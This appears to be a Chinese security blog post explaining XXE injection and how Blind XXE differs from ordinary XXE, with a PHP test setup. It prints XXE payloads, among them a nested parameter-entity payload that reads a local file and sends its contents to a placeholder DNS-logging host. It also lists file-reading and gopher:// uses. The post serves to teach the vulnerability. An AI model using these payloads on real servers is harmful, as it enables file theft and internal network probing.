XXE(XML实体注入漏洞)顾名思义,漏洞的关键点在于服务器对外部实体的解析。外部实体中可以请求他域资源,也许在包括我之内的很多人在漏洞利用时会习惯的把XXE问题转换成SSRF的问题。
0x00
前几天别人问我一个有趣的问题:Blind XXE和普通XXE本质区别是什么。 仔细想了想,我答不上来,由于类似于cloudeye的使用DNS泛析和URL请求记录是可以查看命令执行结果的,大家通常不会在意漏洞点程序是否预设了回显或者可以使用报错得到回显。所以找了一些资料,记录一下上面问题的答案和也顺便记录一下XXE漏洞形成的原因。
0x01
首先要搞清楚的是XML外部实体的概念。一般容易误以为外部是自己定义的意思,事实上外部实体是指实体的参数内容不是当前XML定义的而是从其他资源引入的,用SYSTEM和PUBLIC来申明,也就是我们常在XXE payload里面看到的样子。1
<!DOCTYPE ANY [
<!ENTITY hello SYSTEM "http://%xx.xxx.yourcloudeye.xxx/%xx">
]>
如果在外界可控的 web代码和xml的交互点 可以插入我们定义的xml实体并被服务器解析,这样就造成了一个XXE漏洞(这句话写了很多遍还是觉得难读通顺,用SQLi类推一下就比较好理解了)。以php为例搭了一个测试环境。
首先浏览器是可以解析XML的,当然,是没有权限解析外部实体的(不然url链接没人敢点了)。开始在lamp下搭发现的www用户解析外部实体权限也不够,于是在wamp环境给apache sa权限测试。下面是php使用simplexml_load_file解析xml文件代码。
1 | <?php |
xxetest.php把b.xml的内容解析后输出一个SimpleXMLElement对象,供其他函数使用xml中各个节点的值。我们可以在平台上看到解析外部实体发送的请求。剩下的利用就比较直观了,在请求资源时使用http://端口探测或带上内网攻击向量;file://或者php://filter等读取文件;gopher://发送复杂请求等等。
0x02
回到Blind XXE的问题,仔细看b.xml可以发现,在开始定义了hello这个实体后,节点中引入了一个 &hello;。如果请求的资源存在,则可以在节点中看到hello的值,这就是有返回的XXE雏形。对b.xml稍作修改,使用file协议读取本地文件,结果如下图。
所以如果xml文件没有在节点中使用这个实体,或者节点中使用了&hello;而可执行文件没有把值在response中返回的情况就属于Blind XXE。
如果进行端口探测等操作可以直接参考SSRF利用时间差来完成,如果要接收回显的话,也可以用实体嵌套来完成。如果xml解析器不支持嵌套定义有可以把gethello内容写在外部xml中再引用进来有时候可以绕过。
也有把hello的值作为参数传给自己服务器上的php中然后保存成文件的,原理差不多,但是没有DNS解析平台简洁直观。1
<!DOCTYPE root [
<!ENTITY % hello "file:///c:/1.txt">
<!ENTITY % gethello "<!ENTITY % param222 SYSTEM'http://xxx.yourcloudeye.xxx/%hello;'>">
%gethello;
]>
0x03
对XXE的总结就差不多到这里了,如果说Blind XXE和XXE有什么本质区别的话,大概是Blind会让有些人说的:“不就是发包看返回的”的扫描器比较头疼吧。
之前SSRF文章的坑也准备填上了,2准备把归纳的一些gopher构造方法,一些内网ip限制绕过策略,以及打造自己的SSRF自动化探测脚本三个方面总结一下。
最近发现自己关于程序底层和程序优化相关的比较弱,想学习一下,有好的资料请推荐给我嘛~~